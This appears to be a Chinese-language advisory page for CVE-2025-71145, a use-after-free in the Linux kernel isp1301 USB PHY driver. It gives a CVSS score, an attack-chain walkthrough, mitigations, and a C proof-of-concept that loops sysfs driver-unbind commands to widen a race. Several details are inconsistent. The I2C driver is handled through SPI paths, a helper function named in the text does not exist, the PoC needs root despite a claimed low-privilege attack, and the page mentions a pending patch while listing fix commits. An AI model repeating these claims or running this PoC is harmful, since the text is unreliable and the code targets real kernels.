IPBUF安全漏洞报告
English
CVE-2025-71145 CVSS 7.8 高危

CVE-2025-71145 Linux内核isp1301 USB PHY驱动引用计数漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71145
漏洞类型
Use-After-Free(释放后重用)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核isp1301 USB PHY驱动

相关标签

Linux内核漏洞Use-After-FreeUSB PHY驱动isp1301引用计数本地权限提升拒绝服务CVE-2025-71145高危漏洞内核驱动安全

漏洞概述

CVE-2025-71145是Linux内核中usb: phy: isp1301驱动的一个高危安全漏洞,CVSS评分7.8。该漏洞源于isp1301_get_client()辅助函数在处理非OF(Open Firmware)设备时的引用计数管理不平衡问题。具体而言,该函数在OF(设备树)情况下正确增加了返回I2C设备的引用计数,但在非OF情况下未增加引用计数,导致调用者可能在设备已被释放后仍尝试访问,形成use-after-free条件。攻击者可通过低权限本地用户身份触发此漏洞,在特定竞态条件下可能导致内核崩溃(拒绝服务)或潜在的特权提升。攻击复杂度低,无需用户交互即可实施,机密性、完整性和可用性均受严重影响。

技术细节

漏洞根源在于drivers/usb/phy/phy-isp1301.c中的isp1301_get_client()函数。当代码使用设备树(OF)初始化ISP1301 PHY时,函数通过of_find_i2c_device_by_node()获取I2C设备,该函数返回的设备引用计数已被增加。然而,在非OF(传统平台代码)路径中,代码使用spi_get_device_data()或其他方式获取I2C设备,但未调用相应的get_device()或i2c_get_clientdata()来增加引用计数。这导致调用者(如isp1301_probe)在后续调用put_device()时可能错误地释放仍被使用的设备对象。竞态条件存在于PHY驱动卸载与设备访问之间,攻击者可通过反复触发驱动绑定/解绑操作来增加漏洞触发概率。成功利用可导致内核内存破坏,可能实现本地权限提升。

攻击链分析

STEP 1
1
攻击者以低权限本地用户身份登录系统
STEP 2
2
识别目标系统使用isp1301 USB PHY驱动的硬件平台(非OF配置)
STEP 3
3
通过sysfs接口触发驱动绑定/解绑操作,如echo到/sys/bus/spi/drivers/unbind
STEP 4
4
在驱动解绑过程中,由于isp1301_get_client()在非OF路径未增加引用计数,设备可能过早释放
STEP 5
5
利用竞态窗口,在设备引用被释放后仍尝试访问I2C设备对象
STEP 6
6
触发use-after-free条件,导致内核内存破坏,可能实现本地权限提升或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> /* * CVE-2025-71145 PoC - Linux kernel isp1301 USB PHY driver use-after-free * This PoC demonstrates the reference count imbalance in non-OF path * Compile: gcc -o cve_2025_71145_poc cve_2025_71145_poc.c */ #define ISP1301_MODULE_PATH "/sys/bus/spi/drivers/isp1301_udc" int trigger_driver_unbind() { int fd; char buf[256]; /* Attempt to trigger driver unbind sequence */ fd = open(ISP1301_MODULE_PATH, O_RDONLY); if (fd < 0) { /* Try alternative method via sysfs */ snprintf(buf, sizeof(buf), "echo %s > /sys/bus/spi/drivers/unbind 2>/dev/null", "spi0.0"); system(buf); } else { close(fd); } return 0; } int main(int argc, char *argv[]) { int iterations = 1000; int i; printf("[*] CVE-2025-71145 PoC - isp1301 reference count imbalance\n"); printf("[*] Target: Linux kernel isp1301 USB PHY driver\n"); printf("[*] Vulnerability: Use-after-free due to missing get_device() call\n"); if (geteuid() != 0) { printf("[!] Warning: This PoC requires root privileges\n"); printf("[!] Continuing anyway for demonstration purposes...\n"); } /* * Race condition trigger: * In non-OF path, isp1301_get_client() doesn't increment device refcount * When driver unbinds, put_device() may free device while still in use */ for (i = 0; i < iterations; i++) { trigger_driver_unbind(); usleep(1000); /* Small delay to increase race window */ if (i % 100 == 0) { printf("[*] Iteration %d/%d\n", i, iterations); } } printf("[*] PoC execution completed\n"); printf("[!] Check dmesg for kernel oops or BUG messages\n"); return 0; }

影响范围

Linux kernel < 6.12(包含修复提交03bbdaa4da8c、43e58abad6c0、5d3df03f7054、7501ecfe3e52、75c5d9bce072)
isp1301 USB PHY驱动非OF路径特定受影响

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 禁用非必要的USB PHY驱动自动加载;2) 通过modprobe.blacklist=isp1301_udc内核参数阻止驱动加载;3) 限制普通用户对/sys/bus/spi/drivers/目录的写权限;4) 监控系统日志中的可疑驱动绑定操作;5) 考虑使用AppArmor或SELinux策略限制SPI设备访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表